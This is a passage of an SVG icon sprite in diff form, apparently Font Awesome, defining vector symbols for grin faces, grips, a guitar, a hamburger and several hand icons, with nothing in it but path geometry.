21.6l-9.5 17c-4.1 7.3-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm-160 0c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm80 280c-60.6 0-134.5-38.3-143.8-93.3-2-11.9 9.4-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z"></path> + </symbol> + <symbol id="grin-beam-sweat" viewBox="0 0 504 512"> + <path d="M456 128c26.5 0 48-21 48-47 0-20-28.5-60.4-41.6-77.8-3.2-4.3-9.6-4.3-12.8 0C436.5 20.6 408 61 408 81c0 26 21.5 47 48 47zm0 32c-44.1 0-80-35.4-80-79 0-4.4.3-14.2 8.1-32.2C345 23.1 298.3 8 248 8 111 8 0 119 0 256s111 248 248 248 248-111 248-248c0-35.1-7.4-68.4-20.5-98.6-6.3 1.5-12.7 2.6-19.5 2.6zm-128-8c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 12-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.1 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm-160 0c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 12-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm80 280c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.3-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.5-3.7 22.6 6.2 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z"></path> + </symbol> + <symbol id="grin-hearts" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM90.4 183.6c6.7-17.6 26.7-26.7 44.9-21.9l7.1 1.9 2-7.1c5-18.1 22.8-30.9 41.5-27.9 21.4 3.4 34.4 24.2 28.8 44.5L195.3 243c-1.2 4.5-5.9 7.2-10.5 6l-70.2-18.2c-20.4-5.4-31.9-27-24.2-47.2zM248 432c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.2-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.6 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3zm133.4-201.3l-70.2 18.2c-4.5 1.2-9.2-1.5-10.5-6L281.3 173c-5.6-20.3 7.4-41.1 28.8-44.5 18.6-3 36.4 9.8 41.5 27.9l2 7.1 7.1-1.9c18.2-4.7 38.2 4.3 44.9 21.9 7.7 20.3-3.8 41.9-24.2 47.2z"></path> + </symbol> + <symbol id="grin-squint" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm33.8 189.7l80-48c11.6-6.9 24 7.7 15.4 18L343.6 208l33.6 40.3c8.7 10.4-3.9 24.8-15.4 18l-80-48c-7.7-4.7-7.7-15.9 0-20.6zm-163-30c-8.6-10.3 3.8-24.9 15.4-18l80 48c7.8 4.7 7.8 15.9 0 20.6l-80 48c-11.5 6.8-24-7.6-15.4-18l33.6-40.3-33.6-40.3zM248 432c-60.6 0-134.5-38.3-143.8-93.3-2-11.9 9.4-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.5-3.7 22.6 6.2 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z"></path> + </symbol> + <symbol id="grin-squint-tears" viewBox="0 0 512 512"> + <path d="M409.6 111.9c22.6-3.2 73.5-12 88.3-26.8 19.2-19.2 18.9-50.6-.7-70.2S446-5 426.9 14.2c-14.8 14.8-23.5 65.7-26.8 88.3-.8 5.5 3.9 10.2 9.5 9.4zM102.4 400.1c-22.6 3.2-73.5 12-88.3 26.8-19.1 19.1-18.8 50.6.8 70.2s51 19.9 70.2.7c14.8-14.8 23.5-65.7 26.8-88.3.8-5.5-3.9-10.2-9.5-9.4zm311.7-256.5c-33 3.9-48.6-25.1-45.7-45.7 3.4-24 7.4-42.1 11.5-56.5C285.1-13.4 161.8-.5 80.6 80.6-.5 161.7-13.4 285 41.4 379.9c14.4-4.1 32.4-8 56.5-11.5 33.2-3.9 48.6 25.2 45.7 45.7-3.4 24-7.4 42.1-11.5 56.5 94.8 54.8 218.1 41.9 299.3-39.2s94-204.4 39.2-299.3c-14.4 4.1-32.5 8-56.5 11.5zM255.7 106c3.3-13.2 22.4-11.5 23.6 1.8l4.8 52.3 52.3 4.8c13.4 1.2 14.9 20.3 1.8 23.6l-90.5 22.6c-8.9 2.2-16.7-5.9-14.5-14.5l22.5-90.6zm-90.9 230.3L160 284l-52.3-4.8c-13.4-1.2-14.9-20.3-1.8-23.6l90.5-22.6c8.8-2.2 16.7 5.8 14.5 14.5L188.3 338c-3.1 13.2-22.2 11.7-23.5-1.7zm215.7 44.2c-29.3 29.3-75.7 50.4-116.7 50.4-18.9 0-36.6-4.5-51-14.7-9.8-6.9-8.7-21.8 2-27.2 28.3-14.6 63.9-42.4 97.8-76.3s61.7-69.6 76.3-97.8c5.4-10.5 20.2-11.9 27.3-2 32.3 45.3 7.1 124.7-35.7 167.6z"></path> + </symbol> + <symbol id="grin-stars" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM94.6 168.9l34.9-5 15.5-31.6c2.9-5.8 11-5.8 13.9 0l15.5 31.6 34.9 5c6.2 1 8.9 8.6 4.3 13.2l-25.4 24.6 6 34.9c1 6.2-5.3 11-11 7.9L152 233.3l-31.3 16.3c-5.7 3.1-12-1.7-11-7.9l6-34.9-25.4-24.6c-4.6-4.7-1.9-12.3 4.3-13.3zM248 432c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.3-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.5-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3zm157.7-249.9l-25.4 24.6 6 34.9c1 6.2-5.3 11-11 7.9L344 233.3l-31.3 16.3c-5.7 3.1-12-1.7-11-7.9l6-34.9-25.4-24.6c-4.5-4.6-1.9-12.2 4.3-13.2l34.9-5 15.5-31.6c2.9-5.8 11-5.8 13.9 0l15.5 31.6 34.9 5c6.3.9 9 8.5 4.4 13.1z"></path> + </symbol> + <symbol id="grin-tears" viewBox="0 0 640 512"> + <path d="M102.4 256.1c-22.6 3.2-73.5 12-88.3 26.8-19.1 19.1-18.8 50.6.8 70.2s51 19.9 70.2.7c14.8-14.8 23.5-65.7 26.8-88.3.8-5.5-3.9-10.2-9.5-9.4zm523.4 26.8c-14.8-14.8-65.7-23.5-88.3-26.8-5.5-.8-10.3 3.9-9.5 9.5 3.2 22.6 12 73.5 26.8 88.3 19.2 19.2 50.6 18.9 70.2-.7s20-51.2.8-70.3zm-129.4-12.8c-3.8-26.6 19.1-49.5 45.7-45.7 8.9 1.3 16.8 2.7 24.3 4.1C552.7 104.5 447.7 8 320 8S87.3 104.5 73.6 228.5c7.5-1.4 15.4-2.8 24.3-4.1 33.2-3.9 48.6 25.3 45.7 45.7-11.8 82.3-29.9 100.4-35.8 106.4-.9.9-2 1.6-3 2.5 42.7 74.6 123 125 215.2 125s172.5-50.4 215.2-125.1c-1-.9-2.1-1.5-3-2.5-5.9-5.9-24-24-35.8-106.3zM400 152c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 12-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm-160 0c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 12-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm80 280c-60.6 0-134.5-38.3-143.8-93.3-2-11.7 9.2-21.6 20.7-17.9C227.1 330.5 272 336 320 336s92.9-5.5 123.1-15.2c11.4-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z"></path> + </symbol> + <symbol id="grin-tongue" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256c0 106.3 67 196.7 161 232-5.6-12.2-9-25.7-9-40v-45.5c-24.7-16.2-43.5-38.1-47.8-63.8-2-11.8 9.3-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.6 22.6 6.1 20.7 17.9-4.3 25.7-23.1 47.6-47.8 63.8V448c0 14.3-3.4 27.8-9 40 94-35.3 161-125.7 161-232C496 119 385 8 248 8zm-80 232c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm160 0c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm-34.9 134.6c-14.4-6.5-31.1 2.2-34.6 17.6l-1.8 7.8c-2.1 9.2-15.2 9.2-17.3 0l-1.8-7.8c-3.5-15.4-20.2-24.1-34.6-17.6-.9.4.3-.2-18.9 9.4v63c0 35.2 28 64.5 63.1 64.9 35.7.5 64.9-28.4 64.9-64v-64c-19.5-9.6-18.2-8.9-19-9.3z"></path> + </symbol> + <symbol id="grin-tongue-squint" viewBox="0 0 496 512"> + <path d="M293.1 374.6c-14.4-6.5-31.1 2.2-34.6 17.6l-1.8 7.8c-2.1 9.2-15.2 9.2-17.3 0l-1.8-7.8c-3.5-15.4-20.2-24.1-34.6-17.6-.9.4.3-.2-18.9 9.4v63c0 35.2 28 64.5 63.1 64.9 35.7.5 64.9-28.4 64.9-64v-64c-19.5-9.6-18.2-8.9-19-9.3zM248 8C111 8 0 119 0 256c0 106.3 67 196.7 161 232-5.6-12.2-9-25.7-9-40v-45.5c-24.7-16.2-43.5-38.1-47.8-63.8-2-11.8 9.2-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.7 22.6 6.1 20.7 17.9-4.3 25.7-23.1 47.6-47.8 63.8V448c0 14.3-3.4 27.8-9 40 94-35.3 161-125.7 161-232C496 119 385 8 248 8zm-33.8 210.3l-80 48c-11.5 6.8-24-7.6-15.4-18l33.6-40.3-33.6-40.3c-8.6-10.3 3.8-24.9 15.4-18l80 48c7.7 4.7 7.7 15.9 0 20.6zm163 30c8.7 10.4-3.9 24.8-15.4 18l-80-48c-7.8-4.7-7.8-15.9 0-20.6l80-48c11.7-6.9 23.9 7.7 15.4 18L343.6 208l33.6 40.3z"></path> + </symbol> + <symbol id="grin-tongue-wink" viewBox="0 0 496 512"> + <path d="M344 184c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zM248 8C111 8 0 119 0 256c0 106.3 67 196.7 161 232-5.6-12.2-9-25.7-9-40v-45.5c-24.7-16.2-43.5-38.1-47.8-63.8-2-11.8 9.3-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.5-3.7 22.6 6.1 20.7 17.9-4.3 25.7-23.1 47.6-47.8 63.8V448c0 14.3-3.4 27.8-9 40 94-35.3 161-125.7 161-232C496 119 385 8 248 8zm-56 225l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L112 233c-8.5 7.4-21.6.3-19.8-10.8 4-25.2 34.2-42.1 59.9-42.1S208 197 212 222.2c1.6 11.1-11.6 18.2-20 10.8zm152 39c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64zm-50.9 102.6c-14.4-6.5-31.1 2.2-34.6 17.6l-1.8 7.8c-2.1 9.2-15.2 9.2-17.3 0l-1.8-7.8c-3.5-15.4-20.2-24.1-34.6-17.6-.9.4.3-.2-18.9 9.4v63c0 35.2 28 64.5 63.1 64.9 35.7.5 64.9-28.4 64.9-64v-64c-19.5-9.6-18.2-8.9-19-9.3z"></path> + </symbol> + <symbol id="grin-wink" viewBox="0 0 496 512"> + <path d="M0 256c0 137 111 248 248 248s248-111 248-248S385 8 248 8 0 119 0 256zm200-48c0 17.7-14.3 32-32 32s-32-14.3-32-32 14.3-32 32-32 32 14.3 32 32zm168 25l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L288 233c-8.3 7.4-21.6.4-19.8-10.8 4-25.2 34.2-42.1 59.9-42.1S384 197 388 222.2c1.6 11-11.5 18.2-20 10.8zm-243.1 87.8C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.3-3.7 22.6 6 20.7 17.9-9.2 55-83.2 93.3-143.8 93.3s-134.5-38.3-143.8-93.3c-2-11.9 9.3-21.6 20.7-17.9z"></path> + </symbol> + <symbol id="grip-horizontal" viewBox="0 0 448 512"> + <path d="M96 288H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm160 0h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm160 0h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zM96 96H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm160 0h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm160 0h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32z"></path> + </symbol> + <symbol id="grip-lines" viewBox="0 0 512 512"> + <path d="M496 288H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h480c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm0-128H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h480c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16z"></path> + </symbol> + <symbol id="grip-lines-vertical" viewBox="0 0 256 512"> + <path d="M96 496V16c0-8.8-7.2-16-16-16H48c-8.8 0-16 7.2-16 16v480c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16zm128 0V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v480c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16z"></path> + </symbol> + <symbol id="grip-vertical" viewBox="0 0 320 512"> + <path d="M96 32H32C14.33 32 0 46.33 0 64v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32zm0 160H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm0 160H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zM288 32h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32zm0 160h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm0 160h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32z"></path> + </symbol> + <symbol id="guitar" viewBox="0 0 512 512"> + <path d="M502.63 39L473 9.37a32 32 0 0 0-45.26 0L381.46 55.7a35.14 35.14 0 0 0-8.53 13.79L360.77 106l-76.26 76.26c-12.16-8.76-25.5-15.74-40.1-19.14-33.45-7.78-67-.88-89.88 22a82.45 82.45 0 0 0-20.24 33.47c-6 18.56-23.21 32.69-42.15 34.46-23.7 2.27-45.73 11.45-62.61 28.44C-16.11 327-7.9 409 47.58 464.45S185 528 230.56 482.52c17-16.88 26.16-38.9 28.45-62.71 1.76-18.85 15.89-36.13 34.43-42.14a82.6 82.6 0 0 0 33.48-20.25c22.87-22.88 29.74-56.36 22-89.75-3.39-14.64-10.37-28-19.16-40.2L406 151.23l36.48-12.16a35.14 35.14 0 0 0 13.79-8.53l46.33-46.32a32 32 0 0 0 .03-45.22zM208 352a48 48 0 1 1 48-48 48 48 0 0 1-48 48z"></path> + </symbol> + <symbol id="h-square" viewBox="0 0 448 512"> + <path d="M448 80v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48zm-112 48h-32c-8.837 0-16 7.163-16 16v80H160v-80c0-8.837-7.163-16-16-16h-32c-8.837 0-16 7.163-16 16v224c0 8.837 7.163 16 16 16h32c8.837 0 16-7.163 16-16v-80h128v80c0 8.837 7.163 16 16 16h32c8.837 0 16-7.163 16-16V144c0-8.837-7.163-16-16-16z"></path> + </symbol> + <symbol id="hamburger" viewBox="0 0 512 512"> + <path d="M464 256H48a48 48 0 0 0 0 96h416a48 48 0 0 0 0-96zm16 128H32a16 16 0 0 0-16 16v16a64 64 0 0 0 64 64h352a64 64 0 0 0 64-64v-16a16 16 0 0 0-16-16zM58.64 224h394.72c34.57 0 54.62-43.9 34.82-75.88C448 83.2 359.55 32.1 256 32c-103.54.1-192 51.2-232.18 116.11C4 180.09 24.07 224 58.64 224zM384 112a16 16 0 1 1-16 16 16 16 0 0 1 16-16zM256 80a16 16 0 1 1-16 16 16 16 0 0 1 16-16zm-128 32a16 16 0 1 1-16 16 16 16 0 0 1 16-16z"></path> + </symbol> + <symbol id="hammer" viewBox="0 0 576 512"> + <path d="M571.31 193.94l-22.63-22.63c-6.25-6.25-16.38-6.25-22.63 0l-11.31 11.31-28.9-28.9c5.63-21.31.36-44.9-16.35-61.61l-45.25-45.25c-62.48-62.48-163.79-62.48-226.28 0l90.51 45.25v18.75c0 16.97 6.74 33.25 18.75 45.25l49.14 49.14c16.71 16.71 40.3 21.98 61.61 16.35l28.9 28.9-11.31 11.31c-6.25 6.25-6.25 16.38 0 22.63l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0l90.51-90.51c6.23-6.24 6.23-16.37-.02-22.62zm-286.72-15.2c-3.7-3.7-6.84-7.79-9.85-11.95L19.64 404.96c-25.57 23.88-26.26 64.19-1.53 88.93s65.05 24.05 88.93-1.53l238.13-255.07c-3.96-2.91-7.9-5.87-11.44-9.41l-49.14-49.14z"></path> + </symbol> + <symbol id="hamsa" viewBox="0 0 512 512"> + <path d="M509.34 307.25C504.28 295.56 492.75 288 480 288h-64V80c0-22-18-40-40-40s-40 18-40 40v134c0 5.52-4.48 10-10 10h-20c-5.52 0-10-4.48-10-10V40c0-22-18-40-40-40s-40 18-40 40v174c0 5.52-4.48 10-10 10h-20c-5.52 0-10-4.48-10-10V80c0-22-18-40-40-40S96 58 96 80v208H32c-12.75 0-24.28 7.56-29.34 19.25a31.966 31.966 0 0 0 5.94 34.58l102.69 110.03C146.97 490.08 199.69 512 256 512s109.03-21.92 144.72-60.14L503.4 341.83a31.966 31.966 0 0 0 5.94-34.58zM256 416c-53.02 0-96-64-96-64s42.98-64 96-64 96 64 96 64-42.98 64-96 64zm0-96c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32z"></path> + </symbol> + <symbol id="hand-holding" viewBox="0 0 576 512"> + <path d="M565.3 328.1c-11.8-10.7-30.2-10-42.6 0L430.3 402c-11.3 9.1-25.4 14-40 14H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h78.3c15.9 0 30.7-10.9 33.3-26.6 3.3-20-12.1-37.4-31.6-37.4H192c-27 0-53.1 9.3-74.1 26.3L71.4 384H16c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h356.8c14.5 0 28.6-4.9 40-14L564 377c15.2-12.1 16.4-35.3 1.3-48.9z"></path> + </symbol> + <symbol id="hand-holding-heart" viewBox="0 0 576 512"> + <path d="M275.3 250.5c7 7.4 18.4 7.4 25.5 0l108.9-114.2c31.6-33.2 29.8-88.2-5.6-118.8-30.8-26.7-76.7-21.9-104.9 7.7L288 36.9l-11.1-11.6C248.7-4.4 202.8-9.2 172 17.5c-35.3 30.6-37.2 85.6-5.6 118.8l108.9 114.2zm290 77.6c-11.8-10.7-30.2-10-42.6 0L430.3 402c-11.3 9.1-25.4 14-40 14H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h78.3c15.9 0 30.7-10.9 33.3-26.6 3.3-20-12.1-37.4-31.6-37.4H192c-27 0-53.1 9.3-74.1 26.3L71.4 384H16c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h356.8c14.5 0 28.6-4.9 40-14L564 377c15.2-12.1 16.4-35.3 1.3-48.9z"></path> + </symbol> + <symbol id="hand-holding-medical" viewBox="0 0 576 512"> + <path d="M159.88,175.82h64v64a16,16,0,0,0,16,16h64a16,16,0,0,0,16-16v-64h64a16,16,0,0,0,16-16v-64a16,16,0,0,0-16-16h-64v-64a16,16,0,0,0-16-16h-64a16,16,0,0,0-16,16v64h-64a16,16,0,0,0-16,16v64A16,16,0,0,0,159.88,175.82ZM568.07,336.13a39.91,39.91,0,0,0-55.93-8.47L392.47,415.84H271.86a16,16,0,0,1,0-32H350.1c16,0,30.75-10.87,33.37-26.61a32.06,32.06,0,0,0-31.62-37.38h-160a117.7,117.7,0,0,0-74.12,26.25l-46.5,37.74H15.87a16.11,16.11,0,0,0-16,16v96a16.11,16.11,0,0,0,16,16h347a104.8,104.8,0,0,0,61.7-20.27L559.6,392A40,40,0,0,0,568.07,336.13Z"></path> + </symbol> + <symbol id="hand-holding-usd" viewBox="0 0 576 512"> + <path d="M271.06,144.3l54.27,14.3a8.59,8.59,0,0,1,6.63,8.1c0,4.6-4.09,8.4-9.12,8.4h-35.6a30,30,0,0,1-11.19-2.2c-5.24-2.2-11.28-1.7-15.3,2l-19,17.5a11.68,11.68,0,0,0-2.25,2.66,11.42,11.42,0,0,0,3.88,15.74,83.77,83.77,0,0,0,34.51,11.5V240c0,8.8,7.83,16,17.37,16h17.37c9.55,0,17.38-7.2,17.38-16V222.4c32.93-3.6,57.84-31,53.5-63-3.15-23-22.46-41.3-46.56-47.7L282.68,97.4a8.59,8.59,0,0,1-6.63-8.1c0-4.6,4.09-8.4,9.12-8.4h35.6A30,30,0,0,1,332,83.1c5.23,2.2,11.28,1.7,15.3-2l19-17.5A11.31,11.31,0,0,0,368.47,61a11.43,11.43,0,0,0-3.84-15.78,83.82,83.82,0,0,0-34.52-11.5V16c0-8.8-7.82-16-17.37-16H295.37C285.82,0,278,7.2,278,16V33.6c-32.89,3.6-57.85,31-53.51,63C227.63,119.6,247,137.9,271.06,144.3ZM565.27,328.1c-11.8-10.7-30.2-10-42.6,0L430.27,402a63.64,63.64,0,0,1-40,14H272a16,16,0,0,1,0-32h78.29c15.9,0,30.71-10.9,33.25-26.6a31.2,31.2,0,0,0,.46-5.46A32,32,0,0,0,352,320H192a117.66,117.66,0,0,0-74.1,26.29L71.4,384H16A16,16,0,0,0,0,400v96a16,16,0,0,0,16,16H372.77a64,64,0,0,0,40-14L564,377a32,32,0,0,0,1.28-48.9Z"></path> + </symbol> + <symbol id="hand-holding-water" viewBox="0 0 576 512"> + <path d="M288 256c53 0 96-42.1 96-94 0-40-57.1-120.7-83.2-155.6-6.4-8.5-19.2-8.5-25.6 0C249.1 41.3 192 122 192 162c0 51.9 43 94 96 94zm277.3 72.1c-11.8-10.7-30.2-10-42.6 0L430.3 402c-11.3 9.1-25.4 14-40 14H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h78.3c15.9 0 30.7-10.9 33.3-26.6 3.3-20-12.1-37.4-31.6-37.4H192c-27 0-53.1 9.3-74.1 26.3L71.4 384H16c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16h356.8c14.5 0 28.6-4.9 40-14L564 377c15.2-12.1 16.4-35.3 1.3-48.9z"></path> + </symbol> + <symbol id="hand-lizard" viewBox="0 0 576 512"> + <path d="M384 480h192V363.778a95.998 95.998 0 0 0-14.833-51.263L398.127 54.368A48 48 0 0 0 357.544 32H24C10.745 32 0 42.745 0 56v16c0 30.928 25.072 56 56 56h229.981c12.844 0 21.556 13.067 16.615 24.923l-21.41 51.385A32 32 0 0 1 251.648 224H128c-35.346 0-64 28.654-64 64v8c0 13.255 10.745 24 24 24h147.406a47.995 47.995 0 0 1 25.692 7.455l111.748 70.811A24.001 24.001 0 0 1 384 418.539V480z"></path> + </symbol> + <symbol id="hand-middle-finger" viewBox="0 0 512 512"> + <path d="M479.93 317.12a37.33 37.33 0 0 0-28.28-36.19L416 272v-49.59c0-11.44-9.69-21.29-23.15-23.54l-38.4-6.4C336.63 189.5 320 200.86 320 216v32a8 8 0 0 1-16 0V50c0-26.28-20.25-49.2-46.52-50A48 48 0 0 0 208 48v200a8 8 0 0 1-16 0v-32c0-15.15-16.63-26.51-34.45-23.54l-30.68 5.12c-18 3-30.87 16.12-30.87 31.38V376a8 8 0 0 1-16 0v-76l-27.36 15A37.34 37.34 0 0 0 32 348.4v73.47a37.31 37.31 0 0 0 10.93 26.39l30.93 30.93A112 112 0 0 0 153.05 512h215A112 112 0 0 0 480 400z"></path> + </symbol> + <symbol id="hand-paper" viewBox="0 0 448 512"> + <path d="M408.781 128.007C386.356 127.578 368 146.36 368 168.79V256h-8V79.79c0-22.43-18.356-41.212-40.781-40.783C297.488 39.423 280 57.169 280 79v177h-8V40.79C272 18.36 253.644-.422 231.219.007 209.488.423 192 18.169 192 40v216h-8V80.79c0-22.43-18.356-41.212-40.781-40.783C121.488 40.423 104 58.169 104 80v235.992l-31.648-43.519c-12.993-17.866-38.009-21.817-55.877-8.823-17.865 12.994-21.815 38.01-8.822 55.877l125.601 172.705A48 48 0 0 0 172.073 512h197.59c22.274 0 41.622-15.324 46.724-37.006l26.508-112.66a192.011 192.011 0 0 0 5.104-43.975V168c.001-21.831-17.487-39.577-39.218-39.993z"></path> + </symbol> + <symbol id="hand-peace" viewBox="0 0 448 512"> + <path d="M408 216c-22.092 0-40 17.909-40 40h-8v-32c0-22.091-17.908-40-40-40s-40 17.909-40 40v32h-8V48c0-26.51-21.49-48-48-48s-48 21.49-48 48v208h-13.572L92.688 78.449C82.994 53.774 55.134 41.63 30.461 51.324 5.787 61.017-6.356 88.877 3.337 113.551l74.765 190.342-31.09 24.872c-15.381 12.306-19.515 33.978-9.741 51.081l64 112A39.998 39.998 0 0 0 136 512h240c18.562 0 34.686-12.77 38.937-30.838l32-136A39.97 39.97 0 0 0 448 336v-80c0-22.091-17.908-40-40-40z"></path> + </symbol> + <symbol id="hand-point-down" viewBox="0 0 384 512"> + <path d="M91.826 467.2V317.966c-8.248 5.841-16.558 10.57-24.918 14.153C35.098 345.752-.014 322.222 0 288c.008-18.616 10.897-32.203 29.092-40 28.286-12.122 64.329-78.648 77.323-107.534 7.956-17.857 25.479-28.453 43.845-28.464l.001-.002h171.526c11.812 0 21.897 8.596 23.703 20.269 7.25 46.837 38.483 61.76 38.315 123.731-.007 2.724.195 13.254.195 16 0 50.654-22.122 81.574-71.263 72.6-9.297 18.597-39.486 30.738-62.315 16.45-21.177 24.645-53.896 22.639-70.944 6.299V467.2c0 24.15-20.201 44.8-43.826 44.8-23.283 0-43.826-21.35-43.826-44.8zM112 72V24c0-13.255 10.745-24 24-24h192c13.255 0 24 10.745 24 24v48c0 13.255-10.745 24-24 24H136c-13.255 0-24-10.745-24-24zm212-24c0-11.046-8.954-20-20-20s-20 8.954-20 20 8.954 20 20 20 20-8.954 20-20z"></path> + </symbol> + <symbol id="hand-point-left" viewBox="0 0 512 512"> + <path d="M44.8 155.826h149.234c-5.841-8.248-10.57-16.558-14.153-24.918C166.248 99.098 189.778 63.986 224 64c18.616.008 32.203 10.897 40 29.092 12.122 28.286 78.648 64.329 107.534 77.323 17.857 7.956 28.453 25.479 28.464 43.845l.002.001v171.526c0 11.812-8.596 21.897-20.269 23.703-46.837 7.25-61.76 38.483-123.731 38.315-2.724-.007-13.254.195-16 .195-50.654 0-81.574-22.122-72.6-71.263-18.597-9.297-30.738-39.486-16.45-62.315-24.645-21.177-22.639-53.896-6.299-70.944H44.8c-24.15 0-44.8-20.201-44.8-43.826 0-23.283 21.35-43.826 44.8-43.826zM440 176h48c13.255 0 24 10.745 24 24v192c0 13.255-10.745 24-24 24h-48c-13.255 0-24-10.745-24-24V200c0-13.255 10.745-24 24-24zm24 212c11.046 0 20-8.954 20-20s-8.954-20-20-20-20 8.954-20 20 8.954 20 20 20z"></path> + </symbol> + <symbol id="hand-point-right" viewBox="0 0 512 512"> + <path d="M512 199.652c0 23.625-20.65 43.826-44.8 43.826h-99.851c16.34 17.048 18.346 49.766-6.299 70.944 14.288 22.829 2.147 53.017-16.45 62.315C353.574 425.878 322.654 448 272 448c-2.746 0-13.276-.203-16-.195-61.971.168-76.894-31.065-123.731-38.315C120.596 407.683 112 397.599 112 385.786V214.261l.002-.001c.011-18.366 10.607-35.889 28.464-43.845 28.886-12.994 95.413-49.038 107.534-77.323 